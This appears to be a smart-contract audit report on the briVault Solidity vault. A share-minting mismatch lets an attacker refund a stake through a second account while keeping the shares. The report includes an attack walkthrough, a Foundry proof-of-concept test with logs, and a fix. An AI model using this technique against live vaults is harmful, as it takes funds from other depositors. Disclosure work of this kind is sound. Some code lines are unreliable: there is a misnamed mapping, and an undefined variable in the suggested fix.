Root + Impact

Description

• This contract lets any user deposit assets using the briVault.deposit() function, which stores the assets staked to briVault.stakedAsset mapping, and mint shares accordingly.

• However, within this same function, there's a weird mismatch that can lead to a severe vulnerability. Actually, the deposit() requires the user to pass a receiver address along with the assets amount.

• On line 222, the contract maps the staked assets to the receiver using stakedAsset[receiver] = stakeAsset, whereas on line 231, it mints the shares to msg.sender using _mint(msg.sender, participantShares). Therefore, this will create a situation where assets are staked to one account, and shares are minted to the other.

• Additionally, an attacker can take this to their own benefit due to the availability of the cancelParticipation() function, which lets anyone get their assets back by burning shares.

  function deposit(uint256 assets, address receiver) public override returns (uint256) {

  // ...

  uint256 stakeAsset = assets - fee;

  @> stakeAsset[receiver] = stakeAsset;

  ​

  // ...

  ​

  @> _mint(msg.sender, participantShares); // mints shares to msg.sender (not receiver)

  // ...

  }

  ​

  function cancelParticipation () public {

  if (block.timestamp >= eventStartDate){

  revert eventStarted();

  }

  ​

  uint256 refundAmount = stakedAsset[msg.sender];

  ​

  @> stakedAsset[msg.sender] = 0; // clears stake

  ​

  @> uint256 shares = balanceOf(msg.sender);

  @> _burn(msg.sender, shares); // burns ALL shares; can be 0 while still refunding

  ​

  IERC20(asset()).safeTransfer(msg.sender, refundAmount);

  }

Risks

Likelihood: High

• No restriction on third-party deposits (receiver ≠ msg.sender).

• Easy to execute with two EOAs; no special timing required (just before event start).

Impact: High

• The attacker gains profit, especially when they are the winner.

• The attacker plays with a lower risk than others, since he has already gained his assets back. Doesn't have much to lose, even if he loses the bet.

• Moreover, there are some chances of other withdrawers being denied their winner prize share.

Proof of Concept

• Here's how the attack unfolds:

  1. The Setup:

     • Attacker controls two users: user1 and user2.

     • Two other innocent users, user3 and user4 comes later into the picture.

  2. Initiating the Exploit:

     • Through user1, attacker deposits 0.00025e18 tokens to the vault with receiver = user1. Thus minting shares to himself.

     • Next, again using user1, attacker deposits 5e18 tokens to the vault with receiver = user2. With this, shares again got minted to user1, but stakedAsset mapped those assets to user2, due to the vulnerable mismatch.

     • Then, user1 joins the event with the combined share value of both deposits made above.

  3. The Twist:

     • Before even the event starts, user2 calls the cancelParticipation() function, which sent user2 the assets i.e. 5e18 - fee, and burnt the shares. But wait, user2 doesn't have any shares under his name, so it burned literally 0 shares.

     • However, the briVault.balanceOf(user1) still gives the same shares as before. The attacker has literally nothing to lose now, as he is refunded and is also part of the event with the same share amount.

  4. How worse can it get?

     • Well, if the attacker becomes lucky and wins the event, then he will be getting assets of other withdrawers, that's because the vault will have more shares minted as compared to the totalAssets. So, it's obvious that the attacker will eat up other funds.

     • This can even lead to other winners being denied their withdrawals due to a low balance.

  
  

• Add the test_UsersSharesNotBurnedButAssetsReturned test to briVault.t.sol:

  function test_UsersSharesNotBurnedButAssetsReturned() public {

  // setup

  vm.prank(owner);

  briVault.setCountry(countries);

  ​

  // Attackers hold 2 accounts, user1, user2

  // 1. User1 deposits a small amount under his own name, let's say 0.00025 ether (bare minimum)

  // 2 Then deposits again, 5 ether in the name of user2

  // 3. Joins the event

  vm.startPrank(user1);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(0.00025 ether, user1);

  briVault.deposit(5 ether, user2);

  briVault.joinEvent(10);

  vm.stopPrank();

  ​

  // Checking who holds what

  console.log("User1 assets:", mockToken.balanceOf(user1));

  console.log("User2 assets:", mockToken.balanceOf(user2));

  console.log();

  console.log("User1 shares:", briVault.balanceOf(user1));

  console.log("User2 shares:", briVault.balanceOf(user2));

  ​

  console.log();

  console.log("But here's the twist...");

  console.log();

  console.log("User1 staked Assets:", briVault.stakedAsset(user1));

  console.log("User2 staked Assets:", briVault.stakedAsset(user2));

  ​

  // Now, user2 can easily call `cancelParticipation`

  // Even though it never joined the event. But why?

  // Let's see...

  vm.prank(user2);

  briVault.cancelParticipation();

  ​

  // Checking the balances, again

  console.log();

  console.log("After user2 calls `cancelParticipation()`");

  console.log();

  console.log("User1 assets:", mockToken.balanceOf(user1));

  console.log("User2 assets:", mockToken.balanceOf(user2));

  console.log();

  console.log("User1 shares:", briVault.balanceOf(user1));

  console.log("User2 shares:", briVault.balanceOf(user2));

  ​

  // So, the 2nd account of the attacker (i.e. user2) got its refund already, which was deposited by user1

  // However, the attacker's first account, i.e. user1, still holds the shares and is already part of the event.

  }
  
  

• Run the test using the following command:

  forge test --mt test_UsersSharesNotBurnedButAssetsReturned -vv
  
  

• Logs:

  Ran 1 test for test/briVault.t.sol:BriVaultTest

  [PASS] test_UsersSharesNotBurnedButAssetsReturned() (gas: 1723569)

  Logs:

  User1 assets: 14999750000000000000

  User2 assets: 20000000000000000000

  ​

  User1 shares: 4925246250000000000

  User2 shares: 0

  ​

  But here's the twist...

  ​

  User1 staked Assets: 246250000000000

  User2 staked Assets: 4925000000000000000

  ​

  After user2 calls `cancelParticipation()`

  ​

  User1 assets: 14999750000000000000

  User2 assets: 24925000000000000000

  ​

  User1 shares: 4925246250000000000

  User2 shares: 0

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.09ms (1.11ms CPU time)

Recommended Mitigation

• As mentioned, replace msg.sender with receiver on line 231

  function deposit(uint256 assets, address receiver) public override returns (uint256) {

  // ...

  ​

  - _mint(msg.sender, participantShares);

  + _mint(receiver, participantShares);

  ​

  // ...

  }
  
  

• Harden cancelParticipation() so refunds are tied to the stake-backed shares and can’t be refunded with 0 burn:

  function cancelParticipation () public {

  if (block.timestamp >= eventStartDate){

  revert eventStarted();

  }

  ​

  uint256 refundAmount = stakedAsset[msg.sender];

  + require(refundAmount > 0, "no stake");

  ​

  - stakedAsset[msg.sender] = 0;

  ​

  - uint256 shares = balanceOf(msg.sender);

  - _burn(msg.sender, shares);

  ​

  + // burn exactly the shares corresponding to the staked assets

  + uint256 requiredShares = _convertToShares(refundAssets);

  + require(balanceOf(msg.sender) >= requiredShares, "insufficient shares to refund");

  + _burn(msg.sender, requiredShares);

  ​

  + stakedAsset[msg.sender] = 0;

  IERC20(asset()).safeTransfer(msg.sender, refundAmount);

  }